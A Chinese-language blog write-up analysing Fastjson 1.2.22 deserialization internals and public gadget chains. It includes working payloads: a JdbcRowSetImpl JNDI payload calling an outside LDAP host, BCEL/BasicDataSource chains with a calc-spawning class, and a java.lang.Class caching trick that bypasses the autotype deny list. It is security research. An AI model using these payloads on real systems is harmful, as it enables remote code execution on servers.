FastJson反序列化分析

警告
本文最后更新于 2022-08-17,文中内容可能已过时。

不管是红队前期打点还是挖src都会经常遇到fastjson组件,期间也有不少通过fastjson获取服务器权限的例子,但都是基于漏洞应用层面,没有深入研究过,所以这一直以来也是我积压很久的代办。趁有时间学习,把这个坑补上。

fastjson是阿里巴巴的开源JSON解析库,它可以解析JSON格式的字符串,支持将Java Bean序列化为JSON字符串,也可以从JSON字符串反序列化到JavaBean。

简单地说FastJson也能像XMLDecoder那样通过解析传入的数据对代码中的对象进行操作。

通过查看官方文档接口文档,可以看出JSON JSONObject JSONArray 为fastjson解析json格式及数据主要用到的对象,其中JSONObject和JSONArray都继承于JSON

  • JSON 将Java对象与Json数据进行转换

    • parse()
    • parseObject(String text, Class clazz) 将json格式转为java对象
    • parseArray(String text, Class clazz) 将json格式转为JSONArray
    • toJSONString(Object object) 将java对象转为json格式
  • JSONObject 调用Map接口可对JSON数据进行增删改

  • JSONArray 调用List接口解析JSON数据中的数组格式

为了更好的理解,通过几段代码简单的了解fastjson

配置依赖

maven配置如下:

1
2
3
4
5
<dependency>
    <groupId>com.alibaba</groupId>
    <artifactId>fastjson</artifactId>
    <version>x.x.x</version>
</dependency>

jar包地址如下

https://repo1.maven.org/maven2/com/alibaba/fastjson/

方便后续漏洞验证分析,所以文章内使用的版本为: 1.2.22(含漏洞版本)

创建一个javabean->Person.java

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
public class Person {
    private String name;
    private int age;

    public String getName() {
        return name;
    }

    public void setName(String name) {
        this.name = name;
    }

    public int getAge() {
        return age;
    }

    public void setAge(int age) {
        this.age = age;
    }

    @Override
    public String toString() {
        return "Person{" +
                "name='" + name + '\'' +
                ", age=" + age +
                '}';
    }
}

Main.java

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.JSONObject;

public class Main {

    public static void main(String[] args) {
        Person person = new Person();
        //通过set方法赋值
        person.setName("this Name");
        person.setAge(0);

        //persjon对象与json字符串互转
        String person2Json = JSON.toJSONString(person);
        System.out.println("person2Json->: "+person2Json);

        Person Json2Person = JSON.parseObject(person2Json,Person.class);
        System.out.println("Json2Person->: "+Json2Person);
      
        //person对象与JSONObject对象互转
        JSONObject person2JsonObject = (JSONObject) JSON.toJSON(person);
        System.out.println("person2JsonObject->: "+person2JsonObject);

        Person JsonObject2Person = (Person) JSON.parseObject(String.valueOf(person2JsonObject),Person.class);
        System.out.println("JsonObject2Person->: "+JsonObject2Person);

    }
}

https://mtnsmdbt.oss-cn-hangzhou.aliyuncs.com/blog/1678809468-image-20220815222333-oedhmf2.png

依然拿上面我们用作demo代码为例来分别分析Person对象转为Json数据和Json数据还原Person对象逻辑

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
import com.alibaba.fastjson.JSON;

public class Main {

    public static void main(String[] args) {
        Person person = new Person();
        //通过set方法赋值
        person.setName("this Name");
        person.setAge(0);

        //persjon对象与json字符串互转
        String person2Json = JSON.toJSONString(person);
        System.out.println("person2Json->: "+person2Json);

        Person Json2Person = JSON.parseObject(person2Json,Person.class);
        System.out.println("Json2Person->: "+Json2Person);

    }
}

toJSONString方法处下断点,最终进入toJSONString(Object object,SerializeConfig config,SerializeFilter[] filters,String dateFormat,int defaultFeatures,SerializerFeature... features)进行解析

其中 SerializeConfig SerializeFilter SerializerFeature 在官方文档中分别描述为

  • SerializeConfig 全局属性,用于配置并记录每种Java类型对应的序列化类

  • SerializeFilter 通过编程扩展的方式定制序列化

    • PropertyPreFilter 根据PropertyName判断是否序列化
    • NameFilter 修改Key,如果需要修改Key,process返回值则可
    • ValueFilter 修改ValueBeforeFilter 序列化时在最前添加内容
    • AfterFilter 序列化时在最后添加内容
  • SerializerFeature 配置序列化和反序列化的行为

向上查看调用这几个参数是如何赋值的

https://mtnsmdbt.oss-cn-hangzhou.aliyuncs.com/blog/1678809469-image-20220816173645-lxoyrbc.png

查看emptyFilters构造方式发现,并没有Filter传入SerializeFiltere数组

https://mtnsmdbt.oss-cn-hangzhou.aliyuncs.com/blog/1678809469-image-20220816174216-ts20uxc.png

从toJSONString(object,emptyFilters)->toJSONString(Object object, SerializeFilter[] filters, SerializerFeature… features)过程中features是通过SerializerFeature自动生成的Features且,默认为QuoteFieldNames

https://mtnsmdbt.oss-cn-hangzhou.aliyuncs.com/blog/1678809469-image-20220816174601-j3nymyr.png

SerializerFeature定义如下

https://mtnsmdbt.oss-cn-hangzhou.aliyuncs.com/blog/1678809469-image-20220816174625-ijtnu1r.png

官方文档如下

从官方文档中可以看到,当Feature为WriteClassName 会输出序列化时的类型信息

将代码改为

1
2
String person2Json = JSON.toJSONString(person,SerializerFeature.WriteClassName);
System.out.println(person2Json);

输入内容如下

https://mtnsmdbt.oss-cn-hangzhou.aliyuncs.com/blog/1678809469-image-20220816175910-ijn6jtl.png

与前面输出信息比较,这次的输出内容中多了一个@type参数

调试会发现,一开始通过toJSONString函数传入的Person类的相关信息在SerializeConfig中被初始化为ObjectSerializer序列化类放入全局配置中

https://mtnsmdbt.oss-cn-hangzhou.aliyuncs.com/blog/1678809469-image-20220816205051-93ftuox.png

继续分析,看看createJavaBeanSerializer到底做了什么

createJavaBeanSerializer()->computeGetters()通过反射获取目标JavaBean全部method并保存参数名及对应的内容(name->this Name)

https://mtnsmdbt.oss-cn-hangzhou.aliyuncs.com/blog/1678809469-image-20220816205920-acdu53z.png

获取JavaBean全部属性后,利用ASMSerializerFactory.java->createASMSerializer()通过ASM动态生成序列化类

https://mtnsmdbt.oss-cn-hangzhou.aliyuncs.com/blog/1678809469-image-20220816210205-z5iqmp7.png

生成过程中还添加了调用 isWriteClassNamewriteClassName 方法的字节码指令

https://mtnsmdbt.oss-cn-hangzhou.aliyuncs.com/blog/1678809469-image-20220816210336-q0n2mcf.png

https://mtnsmdbt.oss-cn-hangzhou.aliyuncs.com/blog/1678809469-image-20220816210702-23wn8ic.png

由JavaBeanSerializer.java->writeClassName(JSONSerializer serializer, Object object)对typeName进行赋值后最终由StringCodec.java->write(JSONSerializer serializer, String value)对最终输出结果添加@type属性

https://mtnsmdbt.oss-cn-hangzhou.aliyuncs.com/blog/1678809470-image-20220816210900-pi6c3ns.png

https://mtnsmdbt.oss-cn-hangzhou.aliyuncs.com/blog/1678809470-image-20220816211057-x2pw95d.png

https://mtnsmdbt.oss-cn-hangzhou.aliyuncs.com/blog/1678809470-image-20220816212218-nr2hpap.png

前面分析过,在对象转json字符串时当Feature设置为WriteClassName,输出的json数据中会存在@type参数

这就是Fastjson的autotype机制,@type会记录序列化前的原始类型避免反序列化时无法获取原始类型

所以下面会分几段代码分别分析fastjson处理转对象的逻辑

1
2
String testperson = "{\"name\":\"this name\",\"age\":0}";
JSON.parseObject(testperson,Person.class);

1
2
String testperson_type = "{\"@type\":\"Person\",\"name\":\"this name\",\"age\":0}";
JSON.parseObject(testperson,Person.class);
1
2
String testperson_type = "{\"@type\":\"Person\",\"name\":\"this name\",\"age\":0}";
JSON.parseObject(testperson_type,Person.class);

https://mtnsmdbt.oss-cn-hangzhou.aliyuncs.com/blog/1678809470-image-20220817002430-uv0wjc6.png

可以看到,这三种方法都可以成功调用Person的set方法还原对象

但问题来了,既然type可控,能不能通过修改type的方式反序列化其他函数对参数进行赋值

新建一个javaBean Cat.java

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
public class Cat {
    String name;
    String age;

    public String getName() {
        return name;
    }

    public void setName(String name) {
        System.out.printf("this cat setName function");
        this.name = name;
    }

    public String getAge() {
        return age;
    }

    public void setAge(String age) {
        this.age = age;
    }
}

https://mtnsmdbt.oss-cn-hangzhou.aliyuncs.com/blog/1678809470-image-20220817002721-qka5dwr.png

当传入的type与Class类型不符的时候会提示 type not mathch

定位到报错触发点,发现存在两个对结果影响较大的两个变量 typeuserType

https://mtnsmdbt.oss-cn-hangzhou.aliyuncs.com/blog/1678809470-image-20220817005056-fd5exm4.png

其中userType取决于typeName

https://mtnsmdbt.oss-cn-hangzhou.aliyuncs.com/blog/1678809470-image-20220817010120-fx2ci0e.png

向上追踪

lexer是一个JSONScanner 对传入的json进行反序列化,用来解析传入的json

https://mtnsmdbt.oss-cn-hangzhou.aliyuncs.com/blog/1678809470-image-20220817010152-d1rufh7.png

在stringVal处下断点,发现只有当存在@type关键字存在时,才会触发 并返回@type对应的内容

https://mtnsmdbt.oss-cn-hangzhou.aliyuncs.com/blog/1678809470-image-20220817014646-jsn0gj9.png

在JSONScanner->next()下断点,查看解析每个字符的逻辑解析逻辑在com/alibaba/fastjson/parser/DefaultJSONParser.java

当解析符号为:双引号时,会提取出当前获取的key与 JSON.DEFAULT_TYPE_KEY 进行匹配。这也是创建目标对象进行恶意利用的点

https://mtnsmdbt.oss-cn-hangzhou.aliyuncs.com/blog/1678809470-image-20220817021320-l1wkrox.png

但这里有一点需要注意,如果type是用于定义序列化的类,那会进入com/alibaba/fastjson/parser/deserializer/JavaBeanDeserializer.java与传入的类进行匹配

https://mtnsmdbt.oss-cn-hangzhou.aliyuncs.com/blog/1678809471-image-20220817022325-4jsn0mc.png

这也就说明了为什么会存在之前提示类型错误的情况。

这里就存在一个绕过情况,当type是给非目标序列化类赋值时,就不会进入此判断直接反序列化给目标类赋值,用代码表示如下

https://mtnsmdbt.oss-cn-hangzhou.aliyuncs.com/blog/1678809471-image-20220817022551-1qf96kb.png

Fastjson格式为:{"object":{"@type":"Cat","name":"this name","age":0}}

成功触发Cat的set弹出计算器

https://mtnsmdbt.oss-cn-hangzhou.aliyuncs.com/blog/1678809471-image-20220817022748-i8qp895.png

下面分析的链都是公开且比较常见的,较简单的分析就一笔带过了

JdbcRowSetImpl->connect()中存在JNDI调用

DataSourceName可通过setDataSourceName赋值,connect()也在setAutoCommit中存在调用

https://mtnsmdbt.oss-cn-hangzhou.aliyuncs.com/blog/1678809471-image-20220817023530-k23fdj9.png

https://mtnsmdbt.oss-cn-hangzhou.aliyuncs.com/blog/1678809471-image-20220817023838-ab7r7fh.png

https://mtnsmdbt.oss-cn-hangzhou.aliyuncs.com/blog/1678809471-image-20220817023654-agnmikn.png

所以通过FastJson对JdbcRowSetImp对上面提到的两个set方法进行调用赋值就可以成功触发JNDI实现命令执行

json内容如下

1
2
3
4
5
6
7
{
    "xxx":{
        "@type":"com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName":"ldap://204.44.93.129:9901/TouchFile",
        "autoCommit":true
    }
}

https://mtnsmdbt.oss-cn-hangzhou.aliyuncs.com/blog/1678809471-image-20220817024321-7bqj4on.png

打比赛的时候很早就收藏了fastjson的bcel链,但一直没分析,趁着刚整理完ClassLoader,顺便把这坑填上

先贴出poc,可以看出第一个poc与后面两个差别较大,后面两个也有一点不同。下面慢慢分析

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33

{
      "@type": "org.apache.tomcat.dbcp.dbcp2.BasicDataSource",
      "driverClassLoader": {
          "@type": "com.sun.org.apache.bcel.internal.util.ClassLoader"
          },
      "driverClassName": "$$BCEL$$...",
}


{
    {
        "x":{
                "@type": "org.apache.tomcat.dbcp.dbcp2.BasicDataSource",
                "driverClassLoader": {
                    "@type": "com.sun.org.apache.bcel.internal.util.ClassLoader"
                },
                "driverClassName": "$$BCEL$$..."
        }
    }: "x"
}

{
    {
        "x":{
                "@type": "org.apache.tomcat.dbcp.dbcp.BasicDataSource",
                "driverClassLoader": {
                    "@type": "com.sun.org.apache.bcel.internal.util.ClassLoader"
                },
                "driverClassName": "$$BCEL$$..."
        }
    }: "x"
}

先对 BasicDataSource​​ 类 进行分析

调用链如下: getConnection​ -> createDataSource​ -> createConnectionFactory

最终在 createConnectionFactory​ 方法中触发rce。代码如下

https://mtnsmdbt.oss-cn-hangzhou.aliyuncs.com/blog/1678809471-image-20221111153622-x78h4tu.png

当driverClassLoader设置为空时,默认使用的是AppClassLoader

如果本地存在恶意代码环境的话,可以直接导入恶意类实现rce,但这条件非常苛刻

恶意类代码如下:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
package com.glan.demo;

import java.io.IOException;

public class EvalDemo {
    static {
        try {
            Runtime.getRuntime().exec("calc");
        } catch (IOException e) {
            throw new RuntimeException(e);
        }
    }
}

https://mtnsmdbt.oss-cn-hangzhou.aliyuncs.com/blog/1678809471-image-20221111162014-fobci9w.png

所以这时候就需要bcel对恶意类进行编码进行导入,实现rce代码如下

1
2
3
4
5
6
7
8
JavaClass javaClass = Repository.lookupClass(EvalDemo.class);

String evalCode = "$$BCEL$$"+ Utility.encode(javaClass.getBytes(),true);

BasicDataSource basicDataSource = new BasicDataSource();
basicDataSource.setDriverClassLoader(new com.sun.org.apache.bcel.internal.util.ClassLoader());
basicDataSource.setDriverClassName(evalCode);
basicDataSource.getConnection();

https://mtnsmdbt.oss-cn-hangzhou.aliyuncs.com/blog/1678809471-image-20221111162910-qgmshnp.png

前面我们分析的fastjson是能够触发set方法实现JdbcRowSetImpl链进行RCE的,下面就分析fastjson如何目标的调用get方法及parse和parseObject的一点区别

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
Person person = new Person();
person.setAge("123");
person.setName("456");

System.out.println("====================toJSON==========================");
JSON.toJSON(person);

System.out.println("====================toJSONString==========================");
JSON.toJSONString(person);

String Person_Json = "{\"@type\":\"com.glan.demo.Person\",\"age\":\"123\",\"name\":\"456\"}";
//        String Person_Json = "{\"age\":\"123\",\"name\":\"456\"}";
System.out.println("====================parseObject==========================");
JSON.parseObject(Person_Json);

System.out.println("====================parseObject_Object==========================");
JSON.parseObject(Person_Json,Object.class);

System.out.println("====================parseObject_Person.class==========================");
JSON.parseObject(Person_Json,Person.class);

System.out.println("====================parse==========================");
JSON.parse(Person_Json);

https://mtnsmdbt.oss-cn-hangzhou.aliyuncs.com/blog/1678809471-image-20221111171056-1ioamic.png

输出结果可以看出,Fastjson在初始化或还原对象过程中是会调用目标类get方法的

toJSON​ 为例,程序会通过反射获取目标对象的属性并保存

https://mtnsmdbt.oss-cn-hangzhou.aliyuncs.com/blog/1678809471-image-20221111171500-3tpsk3h.png

https://mtnsmdbt.oss-cn-hangzhou.aliyuncs.com/blog/1678809471-image-20221111171856-2v1211x.png

https://mtnsmdbt.oss-cn-hangzhou.aliyuncs.com/blog/1678809472-image-20221111171930-g2g7dxx.png

接下来简单看parseObject是如何触发目标对象get方法

当没有指定转换类对象时parseObject最后会将默认对象强转为JSONObject

https://mtnsmdbt.oss-cn-hangzhou.aliyuncs.com/blog/1678809472-image-20221111175035-hhqo5s6.png

通过调用toJSON调用get方法

https://mtnsmdbt.oss-cn-hangzhou.aliyuncs.com/blog/1678809472-image-20221111175935-31665qy.png

也成功通过Fastjson实现 Bcel+BasicDataSource实现命令执行

https://mtnsmdbt.oss-cn-hangzhou.aliyuncs.com/blog/1678809472-image-20221111180350-wa5dj9y.png

1
2
3
4
5
6
7
{
	"@type": "org.apache.tomcat.dbcp.dbcp.BasicDataSource",
	"driverClassLoader": {
		"@type": "com.sun.org.apache.bcel.internal.util.ClassLoader"
	  	},
	`"driverClassName": "",   
}

虽然命令执行到这里就结束,但构造的poc存在兼容性问题,当后端程序使用 parse(String.class)parseObject(String.class,Object.class)​ 来反序列化恶意代码时是不会触发命令执行的,原因也很简单,其他parse JSON字符串的方法在开始时就指定了返回的对象类型

https://mtnsmdbt.oss-cn-hangzhou.aliyuncs.com/blog/1678809472-image-20221111181651-2zpwylo.png

分析 parseObject​ 处理json流程

当获取到非首位 {​ 字符时,会调用目标对象的toString方法


https://mtnsmdbt.oss-cn-hangzhou.aliyuncs.com/blog/1678809472-image-20221111182440-98mk4na.png

https://mtnsmdbt.oss-cn-hangzhou.aliyuncs.com/blog/1678809472-image-20221111182501-2mg5wmf.png

由于第一层{}内并没有@type指定反序列化的类,所以默认为JSONObject

https://mtnsmdbt.oss-cn-hangzhou.aliyuncs.com/blog/1678809472-image-20221111182825-35isbyr.png

实现触发目标类get方法

https://mtnsmdbt.oss-cn-hangzhou.aliyuncs.com/blog/1678809472-image-20221111183218-xd3hopw.png

构造兼容性更高的poc

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
        JavaClass javaClass = Repository.lookupClass(EvalDemo.class);

        String evalCode = "$$BCEL$$"+ Utility.encode(javaClass.getBytes(),true);

        String json = "{\n" +
                "    {\n" +
                "        \"aaa\": {\n" +
                "                \"@type\": \"org.apache.tomcat.dbcp.dbcp.BasicDataSource\",\n" +
                "                \"driverClassLoader\": {\n" +
                "                    \"@type\": \"com.sun.org.apache.bcel.internal.util.ClassLoader\"\n" +
                "                },\n" +
                "                \"driverClassName\": \""+evalCode+"\"\n" +
                "        }\n" +
                "    }: \"bbb\"\n" +
                "}";

        JSON.parse(json);

成功执行命令

https://mtnsmdbt.oss-cn-hangzhou.aliyuncs.com/blog/1678809472-image-20221111184012-nj5uelb.png

这个点利用的FastJson的一个新特性:$ref

简单分析

当匹配到参数值为$ref,且Value第一个字节为@时,会通过addResolveTask​添加任务队列对 Value进行解析

https://mtnsmdbt.oss-cn-hangzhou.aliyuncs.com/blog/1678809472-image-20221111203749-pomo1ef.png

解析任务会在handleResovleTask​ 处理

https://mtnsmdbt.oss-cn-hangzhou.aliyuncs.com/blog/1678809472-image-20221111191634-2uqnlj1.png

调用关系如下

  • DefaultJSONParser.class

    • JSONPath.eval(value, ref);

    • JSONPath.class

      • jsonpath.eval(rootObject);

        • segement.eval(this, rootObject, currentObject);

          • path.getPropertyValue(currentObject, this.propertyName, this.propertyNameHash);

            • beanSerializer.getFieldValue(currentObject, propertyName, propertyNameHash, false);

              • JavaBeanSerializer.class

                • fieldDeser.getPropertyValue(object);

最后通过反射调用指定属性的get方法


https://mtnsmdbt.oss-cn-hangzhou.aliyuncs.com/blog/1678809472-image-20221111194747-uxhwvx8.png

构造恶意类内容如下

https://mtnsmdbt.oss-cn-hangzhou.aliyuncs.com/blog/1678809472-image-20221111203223-eoas1nm.png

利用特性调用EvalFast.getCommand方法

1
2
3
4
5
        json = "[{\"@type\":\"com.glan.demo.EvalFast\",\"command\":\"calc\"},{\"$ref\":\"$[0].command\"}]";
        System.out.println(json);

        ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
        JSON.parse(json);

https://mtnsmdbt.oss-cn-hangzhou.aliyuncs.com/blog/1678809473-image-20221111203508-ualujok.png

接下来继续分析如何利用这个特性绕过autotype检查实现bcel+BasicDatasource的命令执行

按照前面的分析,可以通过$ref来调用BasicDataSource的getconn..方法实现rce,但fastjson也添加了type拦截机制,没办法直接利用ref特性实现命令执行,代码执行结果如下

1
2
3
4
//{"x":{"@type":"org.apache.tomcat.dbcp.dbcp.BasicDataSource","driverClassName":"","driverClassLoader":{"@type":"com.sun.org.apache.bcel.internal.util.ClassLoader"}}"$ref":"$.x.connection"}}
payload = "{\"x\":{\"@type\":\"org.apache.tomcat.dbcp.dbcp.BasicDataSource\",\"driverClassName\":\"\",\"driverClassLoader\":{\"@type\":\"com.sun.org.apache.bcel.internal.util.ClassLoader\"}}\"$ref\":\"$.x.connection\"}}";
TypeUtils.getClassFromMapping("");
JSON.parse(payload);

https://mtnsmdbt.oss-cn-hangzhou.aliyuncs.com/blog/1678809473-image-20221112162446-hja1t7o.png

在触发报错时的代码下断点进行分析

https://mtnsmdbt.oss-cn-hangzhou.aliyuncs.com/blog/1678809473-image-20221112163958-wnezefi.png

在报错触发前存在两个判断

  • 条件一: Arrays.binarySearch(denyHashCodes, hash)

    • 判断Type的值是否在黑名单里面(之前版本的黑名单是明文存储的,更新后变为hash这种形式)
  • 条件二:TypeUtils.getClassFromMapping(typeName)

    • 判断要加载的对象是否在内部的白名单(暂时这么理解)属性Map里面
    • https://mtnsmdbt.oss-cn-hangzhou.aliyuncs.com/blog/1678809473-image-20221112164424-joyjyjp.png

如果要加载BasicDataSource这个类就避不开条件一,所以得通过条件二下手。考虑到条件二是通过FastJson的TypeUtils对类进行判断的,所以首先分析 com/alibaba/fastjson/util/TypeUtils.java

通过查找对 mappings​ 进行put的方法,发现除初始化部分存在对map进行操作,下面列出的种方法也对mapping进行了put操作

  • loadClass(String className, ClassLoader classLoader, boolean cache)

https://mtnsmdbt.oss-cn-hangzhou.aliyuncs.com/blog/1678809473-image-20221112172103-32etj5b.png

分析后发现 com/alibaba/fastjson/serializer/MiscCodec.java​ 符合预期

https://mtnsmdbt.oss-cn-hangzhou.aliyuncs.com/blog/1678809473-image-20221112172332-fx6oher.png

进一步分析FastJson是如何调用MiscCodec的deserialze方法的

FastJson 会通过config.getDeserializer(clazz)​根据对象的类型返回对应的反序列化的具体是实现方法

关联如下:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
        deserializers.put(SimpleDateFormat.class, MiscCodec.instance);
        deserializers.put(java.sql.Timestamp.class, SqlDateDeserializer.instance_timestamp);
        deserializers.put(java.sql.Date.class, SqlDateDeserializer.instance);
        deserializers.put(java.sql.Time.class, TimeDeserializer.instance);
        deserializers.put(java.util.Date.class, DateCodec.instance);
        deserializers.put(Calendar.class, CalendarCodec.instance);
        deserializers.put(XMLGregorianCalendar.class, CalendarCodec.instance);

        deserializers.put(JSONObject.class, MapDeserializer.instance);
        deserializers.put(JSONArray.class, CollectionCodec.instance);

        deserializers.put(Map.class, MapDeserializer.instance);
        deserializers.put(HashMap.class, MapDeserializer.instance);
        deserializers.put(LinkedHashMap.class, MapDeserializer.instance);
        deserializers.put(TreeMap.class, MapDeserializer.instance);
        deserializers.put(ConcurrentMap.class, MapDeserializer.instance);
        deserializers.put(ConcurrentHashMap.class, MapDeserializer.instance);

        deserializers.put(Collection.class, CollectionCodec.instance);
        deserializers.put(List.class, CollectionCodec.instance);
        deserializers.put(ArrayList.class, CollectionCodec.instance);

        deserializers.put(Object.class, JavaObjectDeserializer.instance);
        deserializers.put(String.class, StringCodec.instance);
        deserializers.put(StringBuffer.class, StringCodec.instance);
        deserializers.put(StringBuilder.class, StringCodec.instance);
        deserializers.put(char.class, CharacterCodec.instance);
        deserializers.put(Character.class, CharacterCodec.instance);
        deserializers.put(byte.class, NumberDeserializer.instance);
        deserializers.put(Byte.class, NumberDeserializer.instance);
        deserializers.put(short.class, NumberDeserializer.instance);
        deserializers.put(Short.class, NumberDeserializer.instance);
        deserializers.put(int.class, IntegerCodec.instance);
        deserializers.put(Integer.class, IntegerCodec.instance);
        deserializers.put(long.class, LongCodec.instance);
        deserializers.put(Long.class, LongCodec.instance);
        deserializers.put(BigInteger.class, BigIntegerCodec.instance);
        deserializers.put(BigDecimal.class, BigDecimalCodec.instance);
        deserializers.put(float.class, FloatCodec.instance);
        deserializers.put(Float.class, FloatCodec.instance);
        deserializers.put(double.class, NumberDeserializer.instance);
        deserializers.put(Double.class, NumberDeserializer.instance);
        deserializers.put(boolean.class, BooleanCodec.instance);
        deserializers.put(Boolean.class, BooleanCodec.instance);
        deserializers.put(Class.class, MiscCodec.instance);
        deserializers.put(char[].class, new CharArrayCodec());

        deserializers.put(AtomicBoolean.class, BooleanCodec.instance);
        deserializers.put(AtomicInteger.class, IntegerCodec.instance);
        deserializers.put(AtomicLong.class, LongCodec.instance);
        deserializers.put(AtomicReference.class, ReferenceCodec.instance);

        deserializers.put(WeakReference.class, ReferenceCodec.instance);
        deserializers.put(SoftReference.class, ReferenceCodec.instance);

        deserializers.put(UUID.class, MiscCodec.instance);
        deserializers.put(TimeZone.class, MiscCodec.instance);
        deserializers.put(Locale.class, MiscCodec.instance);
        deserializers.put(Currency.class, MiscCodec.instance);
        deserializers.put(InetAddress.class, MiscCodec.instance);
        deserializers.put(Inet4Address.class, MiscCodec.instance);
        deserializers.put(Inet6Address.class, MiscCodec.instance);
        deserializers.put(InetSocketAddress.class, MiscCodec.instance);
        deserializers.put(File.class, MiscCodec.instance);
        deserializers.put(URI.class, MiscCodec.instance);
        deserializers.put(URL.class, MiscCodec.instance);
        deserializers.put(Pattern.class, MiscCodec.instance);
        deserializers.put(Charset.class, MiscCodec.instance);
        deserializers.put(JSONPath.class, MiscCodec.instance);
        deserializers.put(Number.class, NumberDeserializer.instance);
        deserializers.put(AtomicIntegerArray.class, AtomicCodec.instance);
        deserializers.put(AtomicLongArray.class, AtomicCodec.instance);
        deserializers.put(StackTraceElement.class, StackTraceElementDeserializer.instance);

        deserializers.put(Serializable.class, JavaObjectDeserializer.instance);
        deserializers.put(Cloneable.class, JavaObjectDeserializer.instance);
        deserializers.put(Comparable.class, JavaObjectDeserializer.instance);
        deserializers.put(Closeable.class, JavaObjectDeserializer.instance);

        deserializers.put(JSONPObject.class, new JSONPDeserializer());

可以看到当@type对应的对象类型为 Class.class Locale.class 时,均为MiscCodec处理反序列化(这里传入的对象类型为Locale)

https://mtnsmdbt.oss-cn-hangzhou.aliyuncs.com/blog/1678809473-image-20221112190449-4b029t1.png

既然知道如何进入MiscCodec的deserialze方法,继续向下分析如何构造poc实现通过loadClass将BasicDataSource添加进mapping中

触发loadClass的条件

  • 必须存在@type(第一个if) 且对应的值为 java.lang.Class(下面第二张图)

    • 存在val参数,且参数内容为将要导入的class对象如:org.apache.tomcat.dbcp.dbcp.BasicDataSource

https://mtnsmdbt.oss-cn-hangzhou.aliyuncs.com/blog/1678809473-image-20221112191403-z3zabo7.png

https://mtnsmdbt.oss-cn-hangzhou.aliyuncs.com/blog/1678809473-image-20221112191553-8ds8sbx.png

构造poc,成功将BasicDataSource​添加至mapping

1
{"@type":"java.lang.Class","val":"org.apache.tomcat.dbcp.dbcp.BasicDataSource"}

https://mtnsmdbt.oss-cn-hangzhou.aliyuncs.com/blog/1678809473-image-20221112192341-e3l4mou.png

构造完整poc

1
2
1{"1":{"@type":"java.lang.Class","val":"org.apache.tomcat.dbcp.dbcp.BasicDataSource"},"2":{"@type":"java.lang.Class","val":"com.sun.org.apache.bcel.internal.util.ClassLoader"},"3":{"@type":"org.apache.tomcat.dbcp.dbcp.BasicDataSource","driverClassLoader":{"@type":"com.sun.org.apache.bcel.internal.util.ClassLoader"},"driverClassName":"$$BCEL$$.."},"4":{"$ref":"$.3.connection"}}
2{"1":{"@type":"java.lang.Class","val":"org.apache.tomcat.dbcp.dbcp.BasicDataSource"},"2":{"@type":"java.lang.Class","val":"com.sun.org.apache.bcel.internal.util.ClassLoader"},"3":{"@type":"org.apache.tomcat.dbcp.dbcp.BasicDataSource","driverClassLoader":{"@type":"com.sun.org.apache.bcel.internal.util.ClassLoader"},"driverClassName":"$$BCEL$$..","$ref":"$.3.connection"}}

https://mtnsmdbt.oss-cn-hangzhou.aliyuncs.com/blog/1678809473-image-20221112200142-d6bx00g.png

在开始分析TemplatesImpl链前需要补充的fastjson小特性

1、私有参数直接赋值

通过 Feature.SupportNonPublicField​ 标志可对private属性参数直接赋值

https://mtnsmdbt.oss-cn-hangzhou.aliyuncs.com/blog/1678809473-image-20221114160436-4u9x3k1.png

https://mtnsmdbt.oss-cn-hangzhou.aliyuncs.com/blog/1678809473-image-20221114160520-3sqg654.png

2、当参数类型为byte[]时,fastjson默认会对内容进行base64 decode处理

https://mtnsmdbt.oss-cn-hangzhou.aliyuncs.com/blog/1678809473-image-20221114170211-qlz5v4f.png

https://mtnsmdbt.oss-cn-hangzhou.aliyuncs.com/blog/1678809474-image-20221114170326-hnm2h92.png

https://mtnsmdbt.oss-cn-hangzhou.aliyuncs.com/blog/1678809474-image-20221114170435-ncr51i0.png

3、当参数名存在_​和-​符号时Fastjson会将符号替换为空

https://mtnsmdbt.oss-cn-hangzhou.aliyuncs.com/blog/1678809474-image-20221114175023-k3bkjep.png

根据前面分析的fastjson调用javabean方法规则,使用如下代码也是可以成功赋值的

https://mtnsmdbt.oss-cn-hangzhou.aliyuncs.com/blog/1678809474-image-20221114175251-0invpus.png

https://mtnsmdbt.oss-cn-hangzhou.aliyuncs.com/blog/1678809474-image-20221114175344-qpfs992.png

了解完上面部分的小特性后,正式开始分析TemplatesImpl

TransletClassLoader内部自建ClassLoader且实现了defineClass方法

https://mtnsmdbt.oss-cn-hangzhou.aliyuncs.com/blog/1678809474-image-20221114171318-0w96yck.png

defineClass调用链如下

1
2
3
4
5
getOutputProperties()->
	newTransformer()->
		getTransletInstance()->
			defineTransletClasses()->
				class.newInstance()

我们依次看defineClass触发条件

首先通过fastjson触发_outputProperties的getter方法进入getOutputProperties()->newTransformer()->getTransletInstance()

https://mtnsmdbt.oss-cn-hangzhou.aliyuncs.com/blog/1678809474-image-20221114190835-vj5uv8c.png

https://mtnsmdbt.oss-cn-hangzhou.aliyuncs.com/blog/1678809474-image-20221114190946-q7385r3.png

https://mtnsmdbt.oss-cn-hangzhou.aliyuncs.com/blog/1678809474-image-20221114191009-ny4t2fv.png

对_name进行赋值,避免getTransletInstance()第一个if返回null

https://mtnsmdbt.oss-cn-hangzhou.aliyuncs.com/blog/1678809474-image-20221114191059-06x604n.png

当在defineTransletClasses函数内时,为了成功将class字节码导入,需要对_tfactory进行赋值

https://mtnsmdbt.oss-cn-hangzhou.aliyuncs.com/blog/1678809474-image-20221114191449-ks3unx8.png

最后对Class进行newInstance时将Class强转为AbstractTranslet,所以在构造恶意类时需要继承该类
